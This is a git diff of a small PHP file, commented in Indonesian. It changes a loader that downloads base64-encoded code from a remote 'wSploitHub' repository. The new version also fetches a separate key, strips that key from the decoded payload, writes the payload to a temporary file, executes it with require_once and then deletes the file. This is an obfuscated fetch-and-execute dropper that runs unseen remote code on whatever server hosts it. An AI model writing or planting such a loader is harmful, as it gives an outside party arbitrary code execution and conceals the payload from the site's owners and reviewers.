diff --git a/tes.php b/tes.php index 6489d39..a378a05 100644 --- a/tes.php +++ b/tes.php @@ -12,16 +12,43 @@ function get_contents($url) { return $result; } -$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/tes'; -$encoded_code = get_contents($url); +// URL untuk mengambil hash key MD5 +$hashUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/payloadkey'; +// URL atau path ke file yang berisi kode terenkripsi +$codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/payloaden'; + +// Ambil hash key dari URL +$keyHash = trim(get_contents($hashUrl)); +if (empty($keyHash)) { + die("Gagal mengambil hash key dari URL.\n"); +} + +// Ambil kode terenkripsi dari URL +$encoded_code = get_contents($codeUrl); +if (empty($encoded_code)) { + die("Gagal mengambil kode terenkripsi dari URL.\n"); +} + +// Dekripsi kode $decoded_code = base64_decode($encoded_code); +// Debugging - tampilkan kode yang didekripsi untuk memastikan +// echo "
"; var_dump($decoded_code); echo ""; exit; // Uncomment untuk debugging +// Hapus key hash di dalam kode +$clean_code = str_replace($keyHash, '', $decoded_code); + +// Debugging - tampilkan hasil kode yang sudah dibersihkan +// echo "
"; var_dump($clean_code); echo ""; exit; // Uncomment untuk debugging + +// Simpan kode sementara ke file temporer $tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_'); -file_put_contents($tempFile, $decoded_code); - +file_put_contents($tempFile, $clean_code); +// Eksekusi kode secara langsung tanpa menampilkan key require_once $tempFile; -unlink($tempFile); -?> \ No newline at end of file +// Hapus file temporer setelah eksekusi +unlink($tempFile); + +?>